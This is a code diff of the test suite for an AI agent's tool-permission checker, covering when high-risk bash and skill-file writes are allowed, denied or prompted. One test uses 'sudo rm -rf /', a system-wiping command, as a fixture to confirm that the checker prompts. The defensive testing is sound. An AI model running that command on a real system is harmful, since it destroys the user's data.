addRule("bash", "kill *", "everywhere", "allow", 2000);
|
|
2414
2693
|
const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
|
|
2415
2694
|
expect(result.decision).toBe("prompt");
|
|
2416
2695
|
expect(result.reason).toContain("High risk");
|
|
2417
2696
|
});
|
|
2418
2697
|
|
|
2419
|
-
test("high-risk
|
|
2420
|
-
|
|
2421
|
-
|
|
2422
|
-
|
|
2423
|
-
|
|
2424
|
-
|
|
2425
|
-
|
|
2698
|
+
test("high-risk bash with allow rule in containerized environment auto-allows", async () => {
|
|
2699
|
+
// Add rule via file backend (IS_CONTAINERIZED is false in test env).
|
|
2700
|
+
addRule("bash", "**", "everywhere", "allow", 2000);
|
|
2701
|
+
|
|
2702
|
+
// Capture the file-backend result so we can return it from the spy.
|
|
2703
|
+
// We need this because setting getIsContainerized=true would route
|
|
2704
|
+
// getTrustStore() to the gateway backend (no server in CI).
|
|
2705
|
+
const fileRule = findHighestPriorityRule(
|
|
2706
|
+
"bash",
|
|
2707
|
+
["kill -9 1234"],
|
|
2708
|
+
"/tmp",
|
|
2709
|
+
);
|
|
2710
|
+
expect(fileRule).not.toBeNull();
|
|
2711
|
+
|
|
2712
|
+
// Spy on findHighestPriorityRule to bypass getTrustStore routing,
|
|
2713
|
+
// and on getIsContainerized so shouldAutoAllowHighRisk returns true.
|
|
2714
|
+
const ruleSpy = spyOn(
|
|
2715
|
+
trustStoreModule,
|
|
2716
|
+
"findHighestPriorityRule",
|
|
2717
|
+
).mockReturnValue(fileRule);
|
|
2718
|
+
const containerSpy = spyOn(
|
|
2719
|
+
envRegistry,
|
|
2720
|
+
"getIsContainerized",
|
|
2721
|
+
).mockReturnValue(true);
|
|
2722
|
+
try {
|
|
2723
|
+
const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
|
|
2724
|
+
expect(result.decision).toBe("allow");
|
|
2725
|
+
expect(result.reason).toContain("auto-allow-high-risk context");
|
|
2726
|
+
} finally {
|
|
2727
|
+
ruleSpy.mockRestore();
|
|
2728
|
+
containerSpy.mockRestore();
|
|
2729
|
+
}
|
|
2426
2730
|
});
|
|
2427
2731
|
|
|
2428
2732
|
test("high-risk host_bash with no matching user rule returns prompt", async () => {
|
|
@@ -2439,76 +2743,57 @@ describe("Permission Checker", () => {
|
|
|
2439
2743
|
expect(result.decision).toBe("prompt");
|
|
2440
2744
|
});
|
|
2441
2745
|
|
|
2442
|
-
test("medium-risk tool with allow rule
|
|
2443
|
-
|
|
2746
|
+
test("medium-risk tool with allow rule auto-allows normally", async () => {
|
|
2747
|
+
// Use git push (medium risk) since chmod is now high-risk in the registry
|
|
2748
|
+
addRule("bash", "git push *", "/tmp", "allow", 100);
|
|
2444
2749
|
const result = await check(
|
|
2445
2750
|
"bash",
|
|
2446
|
-
{ command: "
|
|
2751
|
+
{ command: "git push origin main" },
|
|
2447
2752
|
"/tmp",
|
|
2448
2753
|
);
|
|
2449
2754
|
expect(result.decision).toBe("allow");
|
|
2450
2755
|
expect(result.reason).toContain("Matched trust rule");
|
|
2451
|
-
// No mention of high-risk in the reason
|
|
2452
|
-
expect(result.reason).not.toContain("high-risk");
|
|
2453
2756
|
});
|
|
2454
2757
|
|
|
2455
|
-
test("high-risk scaffold_managed_skill with
|
|
2758
|
+
test("high-risk scaffold_managed_skill with allow rule prompts (non-bash, no runtime auto-allow)", async () => {
|
|
2456
2759
|
addRule(
|
|
2457
2760
|
"scaffold_managed_skill",
|
|
2458
2761
|
"scaffold_managed_skill:my-skill",
|
|
2459
2762
|
"everywhere",
|
|
2460
2763
|
"allow",
|
|
2461
2764
|
2000,
|
|
2462
|
-
{ allowHighRisk: true },
|
|
2463
2765
|
);
|
|
2464
2766
|
const result = await check(
|
|
2465
2767
|
"scaffold_managed_skill",
|
|
2466
2768
|
{ skill_id: "my-skill" },
|
|
2467
2769
|
"/tmp",
|
|
2468
2770
|
);
|
|
2469
|
-
expect(result.decision).toBe("
|
|
2470
|
-
expect(result.reason).toContain("high-risk trust rule");
|
|
2771
|
+
expect(result.decision).toBe("prompt");
|
|
2471
2772
|
});
|
|
2472
2773
|
|
|
2473
|
-
test("high-risk delete_managed_skill with
|
|
2774
|
+
test("high-risk delete_managed_skill with allow rule prompts (non-bash, no runtime auto-allow)", async () => {
|
|
2474
2775
|
addRule(
|
|
2475
2776
|
"delete_managed_skill",
|
|
2476
2777
|
"delete_managed_skill:*",
|
|
2477
2778
|
"everywhere",
|
|
2478
2779
|
"allow",
|
|
2479
2780
|
2000,
|
|
2480
|
-
{ allowHighRisk: true },
|
|
2481
2781
|
);
|
|
2482
2782
|
const result = await check(
|
|
2483
2783
|
"delete_managed_skill",
|
|
2484
2784
|
{ skill_id: "any-skill" },
|
|
2485
2785
|
"/tmp",
|
|
2486
2786
|
);
|
|
2487
|
-
expect(result.decision).toBe("
|
|
2488
|
-
expect(result.reason).toContain("high-risk trust rule");
|
|
2787
|
+
expect(result.decision).toBe("prompt");
|
|
2489
2788
|
});
|
|
2490
2789
|
|
|
2491
|
-
test("deny rule still takes precedence over
|
|
2492
|
-
addRule("bash", "kill *", "everywhere", "allow", 100
|
|
2493
|
-
allowHighRisk: true,
|
|
2494
|
-
});
|
|
2790
|
+
test("deny rule still takes precedence over allow rule for high-risk", async () => {
|
|
2791
|
+
addRule("bash", "kill *", "everywhere", "allow", 100);
|
|
2495
2792
|
addRule("bash", "kill *", "everywhere", "deny", 200);
|
|
2496
2793
|
const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
|
|
2497
2794
|
expect(result.decision).toBe("deny");
|
|
2498
2795
|
expect(result.reason).toContain("deny rule");
|
|
2499
2796
|
});
|
|
2500
|
-
|
|
2501
|
-
test("allowHighRisk persists through addRule", () => {
|
|
2502
|
-
const rule = addRule("bash", "kill *", "everywhere", "allow", 100, {
|
|
2503
|
-
allowHighRisk: true,
|
|
2504
|
-
});
|
|
2505
|
-
expect(rule.allowHighRisk).toBe(true);
|
|
2506
|
-
});
|
|
2507
|
-
|
|
2508
|
-
test("addRule without allowHighRisk option does not set the field", () => {
|
|
2509
|
-
const rule = addRule("bash", "git *", "/tmp");
|
|
2510
|
-
expect(rule.allowHighRisk).toBeUndefined();
|
|
2511
|
-
});
|
|
2512
2797
|
});
|
|
2513
2798
|
|
|
2514
2799
|
// ── strict mode + high-risk integration tests (PR 25) ─────────
|
|
@@ -2525,19 +2810,7 @@ describe("Permission Checker", () => {
|
|
|
2525
2810
|
expect(result.reason).toContain("Strict mode");
|
|
2526
2811
|
});
|
|
2527
2812
|
|
|
2528
|
-
test("strict mode: high-risk with
|
|
2529
|
-
testConfig.permissions.mode = "strict";
|
|
2530
|
-
addRule("bash", "kill *", "everywhere", "allow", 2000, {
|
|
2531
|
-
allowHighRisk: true,
|
|
2532
|
-
});
|
|
2533
|
-
const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
|
|
2534
|
-
expect(result.decision).toBe("allow");
|
|
2535
|
-
expect(result.reason).toContain("high-risk trust rule");
|
|
2536
|
-
expect(result.matchedRule).toBeDefined();
|
|
2537
|
-
expect(result.matchedRule!.allowHighRisk).toBe(true);
|
|
2538
|
-
});
|
|
2539
|
-
|
|
2540
|
-
test("strict mode: high-risk with allow rule (no allowHighRisk) still prompts", async () => {
|
|
2813
|
+
test("strict mode: high-risk bash with allow rule prompts in non-containerized env", async () => {
|
|
2541
2814
|
testConfig.permissions.mode = "strict";
|
|
2542
2815
|
addRule("bash", "kill *", "everywhere", "allow", 2000);
|
|
2543
2816
|
const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
|
|
@@ -2547,47 +2820,27 @@ describe("Permission Checker", () => {
|
|
|
2547
2820
|
|
|
2548
2821
|
test("strict mode: medium-risk with matching allow rule auto-allows", async () => {
|
|
2549
2822
|
testConfig.permissions.mode = "strict";
|
|
2550
|
-
|
|
2823
|
+
// Use git push (medium risk) since chmod is now high-risk in the registry
|
|
2824
|
+
addRule("bash", "git push *", "/tmp", "allow");
|
|
2551
2825
|
const result = await check(
|
|
2552
2826
|
"bash",
|
|
2553
|
-
{ command: "
|
|
2827
|
+
{ command: "git push origin main" },
|
|
2554
2828
|
"/tmp",
|
|
2555
2829
|
);
|
|
2556
2830
|
expect(result.decision).toBe("allow");
|
|
2557
2831
|
expect(result.reason).toContain("Matched trust rule");
|
|
2558
2832
|
});
|
|
2559
2833
|
|
|
2560
|
-
test("strict mode: deny rule overrides
|
|
2834
|
+
test("strict mode: deny rule overrides allow rule for high-risk", async () => {
|
|
2561
2835
|
testConfig.permissions.mode = "strict";
|
|
2562
|
-
addRule("bash", "kill *", "everywhere", "allow", 100
|
|
2563
|
-
allowHighRisk: true,
|
|
2564
|
-
});
|
|
2836
|
+
addRule("bash", "kill *", "everywhere", "allow", 100);
|
|
2565
2837
|
addRule("bash", "kill *", "everywhere", "deny", 200);
|
|
2566
2838
|
const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
|
|
2567
2839
|
expect(result.decision).toBe("deny");
|
|
2568
2840
|
expect(result.reason).toContain("deny rule");
|
|
2569
2841
|
});
|
|
2570
2842
|
|
|
2571
|
-
test("strict mode: scaffold_managed_skill with
|
|
2572
|
-
testConfig.permissions.mode = "strict";
|
|
2573
|
-
addRule(
|
|
2574
|
-
"scaffold_managed_skill",
|
|
2575
|
-
"scaffold_managed_skill:my-skill",
|
|
2576
|
-
"everywhere",
|
|
2577
|
-
"allow",
|
|
2578
|
-
2000,
|
|
2579
|
-
{ allowHighRisk: true },
|
|
2580
|
-
);
|
|
2581
|
-
const result = await check(
|
|
2582
|
-
"scaffold_managed_skill",
|
|
2583
|
-
{ skill_id: "my-skill" },
|
|
2584
|
-
"/tmp",
|
|
2585
|
-
);
|
|
2586
|
-
expect(result.decision).toBe("allow");
|
|
2587
|
-
expect(result.reason).toContain("high-risk trust rule");
|
|
2588
|
-
});
|
|
2589
|
-
|
|
2590
|
-
test("strict mode: scaffold_managed_skill without allowHighRisk still prompts", async () => {
|
|
2843
|
+
test("strict mode: scaffold_managed_skill with allow rule still prompts (non-bash)", async () => {
|
|
2591
2844
|
testConfig.permissions.mode = "strict";
|
|
2592
2845
|
addRule(
|
|
2593
2846
|
"scaffold_managed_skill",
|
|
@@ -2602,12 +2855,11 @@ describe("Permission Checker", () => {
|
|
|
2602
2855
|
"/tmp",
|
|
2603
2856
|
);
|
|
2604
2857
|
expect(result.decision).toBe("prompt");
|
|
2605
|
-
expect(result.reason).toContain("High risk");
|
|
2606
2858
|
});
|
|
2607
2859
|
});
|
|
2608
2860
|
|
|
2609
2861
|
// ── skill mutation approval regression tests (PR 30) ──────────
|
|
2610
|
-
// Lock full behavior for skill-source edit/write prompts,
|
|
2862
|
+
// Lock full behavior for skill-source edit/write prompts, high-risk
|
|
2611
2863
|
// persistence, and version mismatch rejection.
|
|
2612
2864
|
|
|
2613
2865
|
describe("skill mutation approval regressions (PR 30)", () => {
|
|
@@ -2702,10 +2954,10 @@ describe("Permission Checker", () => {
|
|
|
2702
2954
|
});
|
|
2703
2955
|
});
|
|
2704
2956
|
|
|
2705
|
-
// ──
|
|
2957
|
+
// ── high-risk skill source writes: non-bash tools always prompt ──
|
|
2706
2958
|
|
|
2707
|
-
describe("
|
|
2708
|
-
test("file_write to skill source with
|
|
2959
|
+
describe("high-risk skill source writes always prompt (non-bash, no runtime auto-allow)", () => {
|
|
2960
|
+
test("file_write to skill source with allow rule still prompts", async () => {
|
|
2709
2961
|
ensureSkillsDir();
|
|
2710
2962
|
const skillPath = join(
|
|
2711
2963
|
checkerTestDir,
|
|
@@ -2719,15 +2971,12 @@ describe("Permission Checker", () => {
|
|
|
2719
2971
|
"/tmp",
|
|
2720
2972
|
"allow",
|
|
2721
2973
|
2000,
|
|
2722
|
-
{ allowHighRisk: true },
|
|
2723
2974
|
);
|
|
2724
2975
|
const result = await check("file_write", { path: skillPath }, "/tmp");
|
|
2725
|
-
expect(result.decision).toBe("
|
|
2726
|
-
expect(result.reason).toContain("high-risk trust rule");
|
|
2727
|
-
expect(result.matchedRule!.allowHighRisk).toBe(true);
|
|
2976
|
+
expect(result.decision).toBe("prompt");
|
|
2728
2977
|
});
|
|
2729
2978
|
|
|
2730
|
-
test("file_edit of skill source with
|
|
2979
|
+
test("file_edit of skill source with allow rule still prompts", async () => {
|
|
2731
2980
|
ensureSkillsDir();
|
|
2732
2981
|
const skillPath = join(
|
|
2733
2982
|
checkerTestDir,
|
|
@@ -2741,56 +2990,12 @@ describe("Permission Checker", () => {
|
|
|
2741
2990
|
"/tmp",
|
|
2742
2991
|
"allow",
|
|
2743
2992
|
2000,
|
|
2744
|
-
{ allowHighRisk: true },
|
|
2745
2993
|
);
|
|
2746
2994
|
const result = await check("file_edit", { path: skillPath }, "/tmp");
|
|
2747
|
-
expect(result.decision).toBe("allow");
|
|
2748
|
-
expect(result.reason).toContain("high-risk trust rule");
|
|
2749
|
-
});
|
|
2750
|
-
|
|
2751
|
-
test("file_write to skill source with allow rule (no allowHighRisk) still prompts", async () => {
|
|
2752
|
-
ensureSkillsDir();
|
|
2753
|
-
const skillPath = join(
|
|
2754
|
-
checkerTestDir,
|
|
2755
|
-
"skills",
|
|
2756
|
-
"my-skill",
|
|
2757
|
-
"executor.ts",
|
|
2758
|
-
);
|
|
2759
|
-
addRule(
|
|
2760
|
-
"file_write",
|
|
2761
|
-
`file_write:${checkerTestDir}/skills/**`,
|
|
2762
|
-
"/tmp",
|
|
2763
|
-
"allow",
|
|
2764
|
-
2000,
|
|
2765
|
-
);
|
|
2766
|
-
const result = await check("file_write", { path: skillPath }, "/tmp");
|
|
2767
2995
|
expect(result.decision).toBe("prompt");
|
|
2768
|
-
expect(result.reason).toContain("High risk");
|
|
2769
|
-
});
|
|
2770
|
-
|
|
2771
|
-
test("strict mode: file_write to skill source with allowHighRisk rule auto-allows", async () => {
|
|
2772
|
-
testConfig.permissions.mode = "strict";
|
|
2773
|
-
ensureSkillsDir();
|
|
2774
|
-
const skillPath = join(
|
|
2775
|
-
checkerTestDir,
|
|
2776
|
-
"skills",
|
|
2777
|
-
"my-skill",
|
|
2778
|
-
"executor.ts",
|
|
2779
|
-
);
|
|
2780
|
-
addRule(
|
|
2781
|
-
"file_write",
|
|
2782
|
-
`file_write:${checkerTestDir}/skills/**`,
|
|
2783
|
-
"/tmp",
|
|
2784
|
-
"allow",
|
|
2785
|
-
2000,
|
|
2786
|
-
{ allowHighRisk: true },
|
|
2787
|
-
);
|
|
2788
|
-
const result = await check("file_write", { path: skillPath }, "/tmp");
|
|
2789
|
-
expect(result.decision).toBe("allow");
|
|
2790
|
-
expect(result.reason).toContain("high-risk trust rule");
|
|
2791
2996
|
});
|
|
2792
2997
|
|
|
2793
|
-
test("deny rule for skill source takes precedence over
|
|
2998
|
+
test("deny rule for skill source takes precedence over allow rule", async () => {
|
|
2794
2999
|
ensureSkillsDir();
|
|
2795
3000
|
const skillPath = join(
|
|
2796
3001
|
checkerTestDir,
|
|
@@ -2804,7 +3009,6 @@ describe("Permission Checker", () => {
|
|
|
2804
3009
|
"/tmp",
|
|
2805
3010
|
"allow",
|
|
2806
3011
|
100,
|
|
2807
|
-
{ allowHighRisk: true },
|
|
2808
3012
|
);
|
|
2809
3013
|
addRule(
|
|
2810
3014
|
"file_write",
|
|
@@ -2838,26 +3042,7 @@ describe("Permission Checker", () => {
|
|
|
2838
3042
|
mkdirSync(wsSkillsDir, { recursive: true });
|
|
2839
3043
|
}
|
|
2840
3044
|
|
|
2841
|
-
test("user
|
|
2842
|
-
ensureSkillsDir();
|
|
2843
|
-
const skillPath = join(wsSkillsDir, "my-skill", "executor.ts");
|
|
2844
|
-
addRule(
|
|
2845
|
-
"file_write",
|
|
2846
|
-
`file_write:${wsSkillsDir}/**`,
|
|
2847
|
-
"everywhere",
|
|
2848
|
-
"allow",
|
|
2849
|
-
100,
|
|
2850
|
-
{ allowHighRisk: true },
|
|
2851
|
-
);
|
|
2852
|
-
const result = await check("file_write", { path: skillPath }, "/tmp");
|
|
2853
|
-
// The user's allow rule (priority 100) must win over the default ask (priority 50),
|
|
2854
|
-
// and allowHighRisk must auto-allow the High-risk skill mutation.
|
|
2855
|
-
expect(result.decision).toBe("allow");
|
|
2856
|
-
expect(result.reason).toContain("high-risk trust rule");
|
|
2857
|
-
expect(result.matchedRule!.allowHighRisk).toBe(true);
|
|
2858
|
-
});
|
|
2859
|
-
|
|
2860
|
-
test("user allow rule without allowHighRisk at priority 100 overrides default ask but high-risk still prompts", async () => {
|
|
3045
|
+
test("user allow rule at priority 100 overrides default ask but high-risk non-bash still prompts", async () => {
|
|
2861
3046
|
ensureSkillsDir();
|
|
2862
3047
|
const skillPath = join(wsSkillsDir, "my-skill", "executor.ts");
|
|
2863
3048
|
addRule(
|
|
@@ -2868,10 +3053,9 @@ describe("Permission Checker", () => {
|
|
|
2868
3053
|
100,
|
|
2869
3054
|
);
|
|
2870
3055
|
const result = await check("file_write", { path: skillPath }, "/tmp");
|
|
2871
|
-
// The user rule wins over default ask, but skill mutations are High risk
|
|
2872
|
-
//
|
|
3056
|
+
// The user rule wins over default ask, but skill mutations are High risk
|
|
3057
|
+
// and shouldAutoAllowHighRisk only covers containerized bash.
|
|
2873
3058
|
expect(result.decision).toBe("prompt");
|
|
2874
|
-
expect(result.reason).toContain("High risk");
|
|
2875
3059
|
});
|
|
2876
3060
|
|
|
2877
3061
|
test("without user rule, default ask rule matches and prompts for skill source mutations", async () => {
|
|
@@ -3584,7 +3768,6 @@ describe("Permission Checker", () => {
|
|
|
3584
3768
|
scope: string;
|
|
3585
3769
|
decision: "allow" | "deny" | "ask";
|
|
3586
3770
|
priority: number;
|
|
3587
|
-
allowHighRisk?: boolean;
|
|
3588
3771
|
}): Promise<void> {
|
|
3589
3772
|
const trustPath = join(checkerTestDir, "protected", "trust.json");
|
|
3590
3773
|
const {
|
|
@@ -3836,7 +4019,7 @@ describe("Permission Checker", () => {
|
|
|
3836
4019
|
"executor.ts",
|
|
3837
4020
|
);
|
|
3838
4021
|
const risk = await classifyRisk("file_write", { path: skillPath });
|
|
3839
|
-
expect(risk).toBe(RiskLevel.High);
|
|
4022
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
3840
4023
|
});
|
|
3841
4024
|
|
|
3842
4025
|
test("file_edit of skill file is classified as High risk", async () => {
|
|
@@ -3848,7 +4031,7 @@ describe("Permission Checker", () => {
|
|
|
3848
4031
|
"SKILL.md",
|
|
3849
4032
|
);
|
|
3850
4033
|
const risk = await classifyRisk("file_edit", { path: skillPath });
|
|
3851
|
-
expect(risk).toBe(RiskLevel.High);
|
|
4034
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
3852
4035
|
});
|
|
3853
4036
|
|
|
3854
4037
|
test("host_file_write to skill directory is classified as High risk", async () => {
|
|
@@ -3860,7 +4043,7 @@ describe("Permission Checker", () => {
|
|
|
3860
4043
|
"executor.ts",
|
|
3861
4044
|
);
|
|
3862
4045
|
const risk = await classifyRisk("host_file_write", { path: skillPath });
|
|
3863
|
-
expect(risk).toBe(RiskLevel.High);
|
|
4046
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
3864
4047
|
});
|
|
3865
4048
|
|
|
3866
4049
|
test("host_file_edit of skill file is classified as High risk", async () => {
|
|
@@ -3872,7 +4055,7 @@ describe("Permission Checker", () => {
|
|
|
3872
4055
|
"SKILL.md",
|
|
3873
4056
|
);
|
|
3874
4057
|
const risk = await classifyRisk("host_file_edit", { path: skillPath });
|
|
3875
|
-
expect(risk).toBe(RiskLevel.High);
|
|
4058
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
3876
4059
|
});
|
|
3877
4060
|
|
|
3878
4061
|
test("file_read of skill file remains Low risk (reads not escalated)", async () => {
|
|
@@ -3884,7 +4067,7 @@ describe("Permission Checker", () => {
|
|
|
3884
4067
|
"TOOLS.json",
|
|
3885
4068
|
);
|
|
3886
4069
|
const risk = await classifyRisk("file_read", { path: skillPath });
|
|
3887
|
-
expect(risk).toBe(RiskLevel.Low);
|
|
4070
|
+
expect(risk.level).toBe(RiskLevel.Low);
|
|
3888
4071
|
});
|
|
3889
4072
|
|
|
3890
4073
|
test("generic allow rule cannot bypass high-risk skill mutation prompt", async () => {
|
|
@@ -3901,7 +4084,7 @@ describe("Permission Checker", () => {
|
|
|
3901
4084
|
expect(result.reason).toContain("High risk");
|
|
3902
4085
|
});
|
|
3903
4086
|
|
|
3904
|
-
test("
|
|
4087
|
+
test("allow rule for skill mutation prompts (high risk, non-bash tool)", async () => {
|
|
3905
4088
|
ensureSkillsDir();
|
|
3906
4089
|
const skillPath = join(
|
|
3907
4090
|
checkerTestDir,
|
|
@@ -3915,11 +4098,9 @@ describe("Permission Checker", () => {
|
|
|
3915
4098
|
"/tmp",
|
|
3916
4099
|
"allow",
|
|
3917
4100
|
2000,
|
|
3918
|
-
{ allowHighRisk: true },
|
|
3919
4101
|
);
|
|
3920
4102
|
const result = await check("file_write", { path: skillPath }, "/tmp");
|
|
3921
|
-
expect(result.decision).toBe("
|
|
3922
|
-
expect(result.reason).toContain("high-risk trust rule");
|
|
4103
|
+
expect(result.decision).toBe("prompt");
|
|
3923
4104
|
});
|
|
3924
4105
|
});
|
|
3925
4106
|
|
|
@@ -3930,9 +4111,11 @@ describe("Permission Checker", () => {
|
|
|
3930
4111
|
test("wildcard allow rule matches any command in workspace mode", async () => {
|
|
3931
4112
|
testConfig.permissions.mode = "workspace";
|
|
3932
4113
|
addRule("bash", "*", "everywhere");
|
|
4114
|
+
// Use curl (medium risk) since chmod is now high-risk and
|
|
4115
|
+
// allow rules don't auto-allow high-risk commands
|
|
3933
4116
|
const result = await check(
|
|
3934
4117
|
"bash",
|
|
3935
|
-
{ command: "
|
|
4118
|
+
{ command: "curl https://example.com" },
|
|
3936
4119
|
"/tmp",
|
|
3937
4120
|
);
|
|
3938
4121
|
expect(result.decision).toBe("allow");
|
|
@@ -3942,9 +4125,11 @@ describe("Permission Checker", () => {
|
|
|
3942
4125
|
test("wildcard allow rule matches any command in strict mode", async () => {
|
|
3943
4126
|
testConfig.permissions.mode = "strict";
|
|
3944
4127
|
addRule("bash", "*", "everywhere");
|
|
4128
|
+
// Use curl (medium risk) since chmod is now high-risk and
|
|
4129
|
+
// allow rules don't auto-allow high-risk commands
|
|
3945
4130
|
const result = await check(
|
|
3946
4131
|
"bash",
|
|
3947
|
-
{ command: "
|
|
4132
|
+
{ command: "curl https://example.com" },
|
|
3948
4133
|
"/tmp",
|
|
3949
4134
|
);
|
|
3950
4135
|
expect(result.decision).toBe("allow");
|
|
@@ -3967,18 +4152,15 @@ describe("Permission Checker", () => {
|
|
|
3967
4152
|
expect(r2.decision).toBe("allow");
|
|
3968
4153
|
});
|
|
3969
4154
|
|
|
3970
|
-
test("high-risk
|
|
3971
|
-
addRule("bash", "sudo *", "everywhere", "allow", 2000
|
|
3972
|
-
allowHighRisk: true,
|
|
3973
|
-
});
|
|
4155
|
+
test("high-risk bash with allow rule prompts in non-containerized environment", async () => {
|
|
4156
|
+
addRule("bash", "sudo *", "everywhere", "allow", 2000);
|
|
3974
4157
|
const result = await check(
|
|
3975
4158
|
"bash",
|
|
3976
4159
|
{ command: "sudo rm -rf /" },
|
|
3977
4160
|
"/tmp",
|
|
3978
4161
|
);
|
|
3979
|
-
|
|
3980
|
-
expect(result.
|
|
3981
|
-
expect(result.matchedRule!.allowHighRisk).toBe(true);
|
|
4162
|
+
// Non-containerized bash: shouldAutoAllowHighRisk returns false
|
|
4163
|
+
expect(result.decision).toBe("prompt");
|
|
3982
4164
|
});
|
|
3983
4165
|
|
|
3984
4166
|
test("broad skill_load wildcard rule allows all skill loads in strict mode", async () => {
|
|
@@ -4030,7 +4212,7 @@ describe("Permission Checker", () => {
|
|
|
4030
4212
|
{ path: join(extraSkillDir, "my-skill", "foo.ts") },
|
|
4031
4213
|
"/tmp",
|
|
4032
4214
|
);
|
|
4033
|
-
expect(risk).toBe(RiskLevel.High);
|
|
4215
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
4034
4216
|
}),
|
|
4035
4217
|
);
|
|
4036
4218
|
|
|
@@ -4042,7 +4224,7 @@ describe("Permission Checker", () => {
|
|
|
4042
4224
|
{ path: join(extraSkillDir, "my-skill", "SKILL.md") },
|
|
4043
4225
|
"/tmp",
|
|
4044
4226
|
);
|
|
4045
|
-
expect(risk).toBe(RiskLevel.High);
|
|
4227
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
4046
4228
|
}),
|
|
4047
4229
|
);
|
|
4048
4230
|
|
|
@@ -4052,7 +4234,7 @@ describe("Permission Checker", () => {
|
|
|
4052
4234
|
const risk = await classifyRisk("host_file_write", {
|
|
4053
4235
|
path: join(extraSkillDir, "my-skill", "executor.ts"),
|
|
4054
4236
|
});
|
|
4055
|
-
expect(risk).toBe(RiskLevel.High);
|
|
4237
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
4056
4238
|
}),
|
|
4057
4239
|
);
|
|
4058
4240
|
|
|
@@ -4062,7 +4244,7 @@ describe("Permission Checker", () => {
|
|
|
4062
4244
|
const risk = await classifyRisk("host_file_edit", {
|
|
4063
4245
|
path: join(extraSkillDir, "my-skill", "SKILL.md"),
|
|
4064
4246
|
});
|
|
4065
|
-
expect(risk).toBe(RiskLevel.High);
|
|
4247
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
4066
4248
|
}),
|
|
4067
4249
|
);
|
|
4068
4250
|
|
|
@@ -4074,7 +4256,7 @@ describe("Permission Checker", () => {
|
|
|
4074
4256
|
{ path: "/tmp/unrelated.txt" },
|
|
4075
4257
|
"/tmp",
|
|
4076
4258
|
);
|
|
4077
|
-
expect(risk).toBe(RiskLevel.Low);
|
|
4259
|
+
expect(risk.level).toBe(RiskLevel.Low);
|
|
4078
4260
|
}),
|
|
4079
4261
|
);
|
|
4080
4262
|
|
|
@@ -4126,7 +4308,7 @@ describe("Permission Checker", () => {
|
|
|
4126
4308
|
expect(bashRule).toBeDefined();
|
|
4127
4309
|
expect(bashRule!.tool).toBe("bash");
|
|
4128
4310
|
expect(bashRule!.pattern).toBe("**");
|
|
4129
|
-
expect(bashRule!.
|
|
4311
|
+
expect(bashRule!.decision).toBe("allow");
|
|
4130
4312
|
} finally {
|
|
4131
4313
|
if (orig === undefined) {
|
|
4132
4314
|
delete process.env.IS_CONTAINERIZED;
|
|
@@ -4251,75 +4433,6 @@ describe("Permission Checker", () => {
|
|
|
4251
4433
|
});
|
|
4252
4434
|
});
|
|
4253
4435
|
|
|
4254
|
-
// ── browser tool permission baselines ─────────────────────────────
|
|
4255
|
-
// All 10 browser tools are core-registered and RiskLevel.Low by default.
|
|
4256
|
-
// These tests lock that baseline so the migration can verify it's preserved.
|
|
4257
|
-
|
|
4258
|
-
describe("browser tool permission baselines", () => {
|
|
4259
|
-
const browserToolNames = [
|
|
4260
|
-
"browser_navigate",
|
|
4261
|
-
"browser_snapshot",
|
|
4262
|
-
"browser_screenshot",
|
|
4263
|
-
"browser_close",
|
|
4264
|
-
"browser_click",
|
|
4265
|
-
"browser_type",
|
|
4266
|
-
"browser_press_key",
|
|
4267
|
-
"browser_wait_for",
|
|
4268
|
-
"browser_extract",
|
|
4269
|
-
"browser_fill_credential",
|
|
4270
|
-
] as const;
|
|
4271
|
-
|
|
4272
|
-
// Register mock browser tools with the correct metadata so classifyRisk
|
|
4273
|
-
// resolves them without pulling in the full headless-browser module
|
|
4274
|
-
// (which depends on playwright and browser-manager).
|
|
4275
|
-
beforeAll(() => {
|
|
4276
|
-
for (const name of browserToolNames) {
|
|
4277
|
-
// Skip if already registered (e.g. via initializeTools)
|
|
4278
|
-
if (getTool(name)) continue;
|
|
4279
|
-
|
|
4280
|
-
registerTool({
|
|
4281
|
-
name,
|
|
4282
|
-
description: `Mock ${name} for permission baseline`,
|
|
4283
|
-
category: "browser",
|
|
4284
|
-
defaultRiskLevel: RiskLevel.Low,
|
|
4285
|
-
getDefinition: () => ({
|
|
4286
|
-
name,
|
|
4287
|
-
description: `Mock ${name}`,
|
|
4288
|
-
input_schema: { type: "object" as const, properties: {} },
|
|
4289
|
-
}),
|
|
4290
|
-
execute: async () => ({ content: "ok", isError: false }),
|
|
4291
|
-
});
|
|
4292
|
-
}
|
|
4293
|
-
});
|
|
4294
|
-
|
|
4295
|
-
for (const toolName of browserToolNames) {
|
|
4296
|
-
test(`${toolName} has RiskLevel.Low default risk`, async () => {
|
|
4297
|
-
const risk = await classifyRisk(toolName, {});
|
|
4298
|
-
expect(risk).toBe(RiskLevel.Low);
|
|
4299
|
-
});
|
|
4300
|
-
}
|
|
4301
|
-
|
|
4302
|
-
test("browser tools are auto-allowed in workspace mode", async () => {
|
|
4303
|
-
testConfig.permissions = { mode: "workspace" };
|
|
4304
|
-
for (const toolName of browserToolNames) {
|
|
4305
|
-
const result = await check(toolName, {}, "/tmp");
|
|
4306
|
-
expect(result.decision).toBe("allow");
|
|
4307
|
-
}
|
|
4308
|
-
});
|
|
4309
|
-
|
|
4310
|
-
test("browser tools are auto-allowed in strict mode via default allow rules", async () => {
|
|
4311
|
-
testConfig.permissions = { mode: "strict" };
|
|
4312
|
-
try {
|
|
4313
|
-
for (const toolName of browserToolNames) {
|
|
4314
|
-
const result = await check(toolName, {}, "/tmp");
|
|
4315
|
-
expect(result.decision).toBe("allow");
|
|
4316
|
-
}
|
|
4317
|
-
} finally {
|
|
4318
|
-
testConfig.permissions = { mode: "workspace" };
|
|
4319
|
-
}
|
|
4320
|
-
});
|
|
4321
|
-
});
|
|
4322
|
-
|
|
4323
4436
|
// ── default allow: skill_load ──────────────────────────────────
|
|
4324
4437
|
|
|
4325
4438
|
